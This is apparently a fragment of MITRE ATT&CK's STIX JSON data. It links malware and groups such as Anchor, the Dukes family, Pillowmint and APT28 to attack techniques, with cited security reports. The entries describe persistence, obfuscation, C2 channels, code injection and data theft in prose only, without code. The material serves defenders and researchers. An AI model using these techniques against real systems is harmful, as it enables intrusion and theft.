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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                },
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                    "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30",
                    "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."
                }
            ],
            "description": "Variants of [Anchor](https://attack.mitre.org/software/S0504) can use DNS tunneling to communicate with C2.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[Anchor](https://attack.mitre.org/software/S0504) has obsuscated code with stack strings and string encryption.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[Anchor](https://attack.mitre.org/software/S0504) can self delete its dropper after the malware is successfully deployed.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
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                }
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
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                }
            ],
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                }
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                }
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                    "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30",
                    "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."
                }
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                    "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."
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            "description": "[Anchor](https://attack.mitre.org/software/S0504) can determine the public IP and location of a compromised host.(Citation: Medium Anchor DNS July 2020)",
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                    "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."
                }
            ],
            "description": "[Anchor](https://attack.mitre.org/software/S0504) can install itself as a cron job.(Citation: Medium Anchor DNS July 2020)",
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                    "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020."
                },
                {
                    "source_name": "Microsoft Targeting Elections September 2020",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/",
                    "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks.(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: Microsoft Targeting Elections September 2020)",
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                    "description": "Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020."
                }
            ],
            "description": "[Ngrok](https://attack.mitre.org/software/S0508) has been used by threat actors to configure servers for data exfiltration.(Citation: MalwareBytes Ngrok February 2020)",
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                    "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Cyware Ngrok May 2019",
                    "url": "https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44",
                    "description": "Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims\u2019 systems. Retrieved September 15, 2020."
                },
                {
                    "source_name": "MalwareBytes Ngrok February 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngrok-server/",
                    "description": "Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020."
                },
                {
                    "source_name": "Trend Micro Ngrok September 2020",
                    "description": "Borja, A. Camba, A. et al (2020, September 14). Analysis of a Convoluted Attack Chain Involving Ngrok. Retrieved September 15, 2020.",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/analysis-of-a-convoluted-attack-chain-involving-ngrok.html"
                }
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            "description": "[Ngrok](https://attack.mitre.org/software/S0508) can tunnel RDP and other services securely over internet connections.(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes Ngrok February 2020)(Citation: Trend Micro Ngrok September 2020)",
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                    "description": "Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020."
                },
                {
                    "source_name": "Zdnet Ngrok September 2018",
                    "url": "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/",
                    "description": "Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020."
                }
            ],
            "description": "[Ngrok](https://attack.mitre.org/software/S0508) can be used to proxy connections to machines located behind NAT or firewalls.(Citation: MalwareBytes Ngrok February 2020)(Citation: Zdnet Ngrok September 2018)",
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                    "url": "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/",
                    "description": "Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020."
                }
            ],
            "description": "[Ngrok](https://attack.mitre.org/software/S0508) has been used by threat actors to proxy C2 connections to ngrok service subdomains.(Citation: Zdnet Ngrok September 2018)",
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                    "description": "Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020."
                }
            ],
            "description": "[Ngrok](https://attack.mitre.org/software/S0508) can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.(Citation: Zdnet Ngrok September 2018)",
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                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[OnionDuke](https://attack.mitre.org/software/S0052) has the capability to use a Denial of Service module.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[OnionDuke](https://attack.mitre.org/software/S0052) can use a custom decryption algorithm to decrypt strings.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can enumerate local drives.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can gather the hostname on a compromised machine.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can create a process on a compromised host.(Citation: ESET Dukes October 2019)",
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                }
            ],
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                }
            ],
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can use control flow flattening to obscure code.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can use DGA to generate new Twitter URLs for C2.(Citation: ESET Dukes October 2019)",
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                }
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can use steganography to hide C2 information in images.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--e9342a76-171e-4831-96b7-d998a6de8282",
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            "modified": "2020-10-09T16:07:59.540Z",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can use Twitter, Reddit, Imgur and other websites to get a C2 URL.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can custom encrypt strings.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can use a custom algorithm to decrypt strings used by the malware.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--fe2eb5b7-7ae1-4df1-a49e-ad13f50510e8",
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can write encrypted JSON configuration files to the Registry.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can use <code>LoadLibraryW</code> and <code>CreateProcess</code> to load and execute code.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can retrieve payloads from the C2 server.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) has has used HTTP GET requests in C2 communications.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can be executed using rundll32.exe.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--a4eb7719-b7e3-438e-8cb6-ebd576e74bbb",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.760Z",
            "created": "2020-09-23T18:12:03.811Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has deleted the filepath <code>%APPDATA%\\Intel\\devmonsrv.exe</code>.(Citation: Trustwave Pillowmint June 2020)",
            "relationship_type": "uses",
            "id": "relationship--d0c8b03f-7c57-4156-bc5e-cd0c45327ef3",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.565Z",
            "created": "2020-09-23T20:30:55.923Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has collected credit card data using native API functions.(Citation: Trustwave Pillowmint June 2020)",
            "relationship_type": "uses",
            "id": "relationship--bcd496b7-7e6a-483b-b1d4-f7dc935a563d",
            "type": "relationship",
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        },
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            ],
            "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2",
            "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has used the NtQueueApcThread syscall to inject code into svchost.exe.(Citation: Trustwave Pillowmint June 2020)",
            "relationship_type": "uses",
            "id": "relationship--2dfd662a-231a-4b4c-b7e6-b61058fc4494",
            "type": "relationship",
            "modified": "2020-10-06T17:11:59.411Z",
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        },
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            ],
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            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) can uninstall the malicious service from an infected machine.(Citation: Trustwave Pillowmint June 2020)",
            "relationship_type": "uses",
            "id": "relationship--914972f4-aa33-4c7d-afd8-8c16c93ba2cc",
            "type": "relationship",
            "modified": "2020-10-02T17:23:24.571Z",
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        },
        {
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            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
                }
            ],
            "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has used shellcode which reads code stored in the registry keys <code>\\REGISTRY\\SOFTWARE\\Microsoft\\DRM</code> using the native Windows API as well as read <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code> as part of its C2.(Citation: Trustwave Pillowmint June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--3454bb10-fad3-48b6-b20a-81cb45e7bbc1",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can extract and execute PowerShell scripts from C2 communications.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--851b7548-1ba4-402d-ae31-8336fa3ae47d",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.781Z",
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        },
        {
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            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can hide data in images, including use of the Least Significant Bit (LSB).(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--44d62933-848e-481e-84f9-7dbdec9a4b85",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.803Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can download files from C2.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--342b69ad-118b-467d-838e-33ffa931af29",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.884Z",
            "created": "2020-09-24T13:19:42.606Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can use Dropbox as its C2 server.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--a7e27068-7c65-45a0-968e-4871720f3348",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.901Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can decrypt strings with a key either stored in the Registry or hardcoded in the code.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--8ea64034-60a6-466d-9434-19d05180626c",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.938Z",
            "created": "2020-09-24T13:19:42.657Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can store its encryption key in the Registry.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--9d9b0e66-5b9d-4711-8e5a-23e2807ce7ef",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.954Z",
            "created": "2020-09-24T13:19:42.696Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can use control-flow flattening or the commercially available .NET Reactor for obfuscation.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--c1b912a1-ffb4-4b33-88ec-6a567a1fcfd4",
            "type": "relationship",
            "modified": "2020-10-09T16:08:00.025Z",
            "created": "2020-09-24T13:19:42.708Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd",
            "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can persist using a WMI consumer that is launched every time a process named WINWORD.EXE is started.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--604045bc-5d44-495f-a0cb-df73bd769d90",
            "type": "relationship",
            "modified": "2020-10-09T16:08:00.033Z",
            "created": "2020-09-24T13:19:42.749Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can call <code>ShellExecuteW</code> to open the default browser on the URL localhost.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--67c21ae7-5dc3-4439-b5d1-df937abac3ad",
            "type": "relationship",
            "modified": "2020-10-09T16:08:00.097Z",
            "created": "2020-09-24T14:20:39.197Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) has attempted to mimic a compromised user's traffic by using the same user agent as the installed browser.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--10d0c930-1470-4d2e-aff8-0bf42c42d2f0",
            "type": "relationship",
            "modified": "2020-10-09T16:08:00.151Z",
            "created": "2020-09-24T14:20:39.211Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can be controlled via a custom C2 protocol over HTTP.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--277c6e7e-8c39-4c41-ac6f-f740bfb862b8",
            "type": "relationship",
            "modified": "2020-10-09T16:08:00.184Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can use base64 encoding, string stacking, and opaque predicates for obfuscation.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--7b17bab3-6c5a-4db2-969b-7724f71afc09",
            "type": "relationship",
            "modified": "2020-10-09T16:08:00.231Z",
            "created": "2020-09-24T14:20:39.241Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can decrypt AES encrypted C2 communications.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can AES encrypt C2 communications.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) has been regularly repacked by its operators to create large binaries and evade detection.(Citation: ESET Dukes October 2019)",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can collect the user name, Windows version, computer name, and available space on discs from a compromised host.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--4f5fd1ed-a91e-4a9e-b2e8-6c45cc31e065",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) has used <code>HKLM\\SOFTWARE\\Microsoft\\CurrentVersion\\Run</code> to establish persistence.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
            "id": "relationship--603725ac-1b50-482d-b3f5-f657fdd082af",
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                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) has been packed with junk code and strings.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can get user agent strings for the default browser from <code>HKCU\\Software\\Classes\\http\\shell\\open\\command</code>.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can turn itself on or off at random intervals.(Citation: ESET Dukes October 2019)",
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                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can secure delete its DLL.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) has the ability to create a process.(Citation: ESET Dukes October 2019)",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) has the ability to execute PowerShell scripts.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                {
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can execute via rundll32.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                {
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can identify the MAC address on the target computer.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can copy files and directories from a compromised host.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
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                {
                    "source_name": "ESET Dukes October 2019",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can used pipes to connect machines with restricted internet access to remote machines via other infected hosts.(Citation: ESET Dukes October 2019)",
